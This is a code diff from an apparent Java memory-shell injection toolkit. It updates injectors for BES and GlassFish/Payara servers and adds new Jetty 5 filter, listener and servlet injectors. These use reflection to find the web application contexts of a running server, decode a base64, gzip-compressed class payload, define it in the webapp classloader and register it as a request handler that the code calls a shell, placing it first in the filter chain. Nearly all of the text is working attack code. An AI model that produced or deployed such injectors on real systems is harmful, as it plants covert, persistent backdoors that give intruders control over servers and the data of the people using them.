contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -77,10 +77,27 @@ public class BesListenerInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
for (Object value : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
}
} else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -76,10 +76,27 @@ public class BesValveInjector {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
for (Object value : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(value, "children")).values());
}
} else if (thread.getName().contains("AppServer-utility")) {
// BES 10 / BES 11: AppServer-utility thread fallback.
// BES 11 target has a wrappedRunnable field; BES 10 does not — try/catch handles both.
Object target = getFieldValue(thread, "target");
try {
target = getFieldValue(target, "wrappedRunnable");
} catch (Throwable ignored) {
}
Iterable<?> workQueue = (Iterable<?>) getFieldValue(getFieldValue(target, "this$0"), "workQueue");
for (Object task : workQueue) {
Object runnable = getFieldValue(getFieldValue(task, "callable"), "task");
if (!runnable.getClass().getSimpleName().contains("ContainerBackgroundProcessor")) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(runnable, "this$0"), "children");
for (Object host : childrenMap.values()) {
contexts.addAll(((Map<?, ?>) getFieldValue(host, "children")).values());
}
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
@@ -87,16 +87,58 @@ public class GlassFishFilterInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
if (children != null) {
contexts.addAll(children.values());
}
}
}
}
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -76,7 +76,15 @@ public class GlassFishValveInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
@@ -87,6 +95,40 @@ public class GlassFishValveInjector {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
try {
return getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21+
return getFieldValue(getFieldValue(thread, "holder"), "task");
}
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
try {
return getFieldValue(target, "this$0");
} catch (NoSuchFieldException ignored) {
}
try {
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = getFieldValue(atomic, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
} catch (NoSuchFieldException ignored) {
}
Object base = getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -0,0 +1,297 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5FilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5FilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object filter) throws Exception {
Object webApplicationHandler = getWebApplicationHandler(context);
if (invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
Object filterHolder = invokeMethod(
webApplicationHandler,
"defineFilter",
new Class[]{String.class, String.class},
new Object[]{getClassName(), getClassName()});
if (invokeMethod(filterHolder, "getFilter") == null) {
invokeMethod(filterHolder, "start");
}
invokeMethod(
webApplicationHandler,
"addFilterPathMapping",
new Class[]{String.class, String.class, int.class},
new Object[]{getUrlPattern(), getClassName(), Integer.valueOf(1)});
moveLastPathFilterToFront(webApplicationHandler);
clearChainCache(webApplicationHandler);
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
private void moveLastPathFilterToFront(Object webApplicationHandler) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters != null && pathFilters.size() > 1) {
Object filterMapping = pathFilters.remove(pathFilters.size() - 1);
pathFilters.add(0, filterMapping);
}
} catch (Throwable ignored) {
}
}
private void clearChainCache(Object webApplicationHandler) {
clearCacheField(webApplicationHandler, "_chainCache");
clearCacheField(webApplicationHandler, "_namedChainCache");
}
private void clearCacheField(Object object, String name) {
try {
Object cache = getFieldValue(object, name);
if (cache instanceof Map[]) {
Map[] maps = (Map[]) cache;
for (int i = 0; i < maps.length; i++) {
if (maps[i] != null) {
maps[i].clear();
}
}
}
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,440 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.EventListener;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5ListenerInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5ListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object listener) throws Exception {
if (hasListener(context)) {
return;
}
Object webApplicationHandler = getWebApplicationHandler(context);
try {
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
} catch (Throwable ignored) {
}
if (!hasWebApplicationHandlerListener(webApplicationHandler)) {
invokeMethod(webApplicationHandler, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
}
ensureJsr154Filter(webApplicationHandler);
syncJsr154Filter(webApplicationHandler);
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
private boolean hasListener(Object context) throws Exception {
if (containsListener(getFieldValueQuietly(context, "_contextListeners"))) {
return true;
}
Object webApplicationHandler = getWebApplicationHandler(context);
return hasWebApplicationHandlerListener(webApplicationHandler);
}
private boolean hasWebApplicationHandlerListener(Object webApplicationHandler) {
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestListeners"))) {
return true;
}
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners"))) {
return true;
}
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_sessionListeners"))) {
return true;
}
return containsListener(getFieldValueQuietly(webApplicationHandler, "_contextAttributeListeners"));
}
private Object getFieldValueQuietly(Object obj, String name) {
try {
return getFieldValue(obj, name);
} catch (Throwable ignored) {
return null;
}
}
private boolean containsListener(Object listeners) {
if (listeners == null) {
return false;
}
if (listeners instanceof List) {
List list = (List) listeners;
for (int i = 0; i < list.size(); i++) {
if (isInjectedListener(list.get(i))) {
return true;
}
}
return false;
}
if (listeners.getClass().isArray()) {
int length = Array.getLength(listeners);
for (int i = 0; i < length; i++) {
if (isInjectedListener(Array.get(listeners, i))) {
return true;
}
}
return false;
}
return isInjectedListener(listeners);
}
private boolean isInjectedListener(Object listener) {
return listener != null && listener.getClass().getName().contains(getClassName());
}
private void ensureJsr154Filter(Object webApplicationHandler) {
try {
Object filterHolder = invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{"jsr154"});
if (filterHolder == null) {
filterHolder = invokeMethod(webApplicationHandler,
"defineFilter",
new Class[]{String.class, String.class},
new Object[]{"jsr154", "org.mortbay.jetty.servlet.JSR154Filter"});
}
if (invokeMethod(filterHolder, "getFilter") == null) {
invokeMethod(filterHolder, "start");
}
Object jsr154Filter = invokeMethod(filterHolder, "getFilter");
setFieldValue(webApplicationHandler, "jsr154FilterHolder", filterHolder);
setFieldValue(webApplicationHandler, "jsr154Filter", jsr154Filter);
try {
invokeMethod(jsr154Filter, "setUnwrappedDispatchSupported", new Class[]{boolean.class}, new Object[]{Boolean.TRUE});
} catch (Throwable ignored) {
}
if (!hasPathFilterMapping(webApplicationHandler, "jsr154")) {
invokeMethod(webApplicationHandler,
"addFilterPathMapping",
new Class[]{String.class, String.class, int.class},
new Object[]{"/*", "jsr154", Integer.valueOf(1)});
}
movePathFilterToFront(webApplicationHandler, "jsr154");
clearChainCache(webApplicationHandler);
} catch (Throwable ignored) {
}
}
private void syncJsr154Filter(Object webApplicationHandler) {
try {
Object jsr154Filter = getFieldValueQuietly(webApplicationHandler, "jsr154Filter");
if (jsr154Filter == null) {
Object jsr154FilterHolder = getFieldValueQuietly(webApplicationHandler, "jsr154FilterHolder");
if (jsr154FilterHolder != null) {
jsr154Filter = invokeMethod(jsr154FilterHolder, "getFilter");
}
}
if (jsr154Filter == null) {
return;
}
invokeMethod(jsr154Filter, "setRequestListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestListeners")});
invokeMethod(jsr154Filter, "setRequestAttributeListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners")});
} catch (Throwable ignored) {
}
}
private boolean hasPathFilterMapping(Object webApplicationHandler, String filterName) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters == null) {
return false;
}
for (int i = 0; i < pathFilters.size(); i++) {
Object filterMapping = pathFilters.get(i);
Object filterHolder = invokeMethod(filterMapping, "getHolder");
String name = (String) invokeMethod(filterHolder, "getName");
if (filterName.equals(name)) {
return true;
}
}
} catch (Throwable ignored) {
}
return false;
}
private void movePathFilterToFront(Object webApplicationHandler, String filterName) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters == null || pathFilters.size() < 2) {
return;
}
for (int i = 0; i < pathFilters.size(); i++) {
Object filterMapping = pathFilters.get(i);
Object filterHolder = invokeMethod(filterMapping, "getHolder");
String name = (String) invokeMethod(filterHolder, "getName");
if (filterName.equals(name)) {
pathFilters.remove(i);
pathFilters.add(0, filterMapping);
return;
}
}
} catch (Throwable ignored) {
}
}
private void clearChainCache(Object webApplicationHandler) {
clearCacheField(webApplicationHandler, "_chainCache");
clearCacheField(webApplicationHandler, "_namedChainCache");
}
private void clearCacheField(Object object, String name) {
try {
Object cache = getFieldValue(object, name);
if (cache instanceof Map[]) {
Map[] maps = (Map[]) cache;
for (int i = 0; i < maps.length; i++) {
if (maps[i] != null) {
maps[i].clear();
}
}
}
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
return;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,254 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5ServletInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5ServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object servlet) throws Exception {
Object servletHandler = getWebApplicationHandler(context);
if (invokeMethod(servletHandler, "getServletHolder", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
invokeMethod(
servletHandler,
"addServlet",
new Class[]{String.class, String.class, String.class},
new Object[]{getClassName(), getUrlPattern(), getClassName()});
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
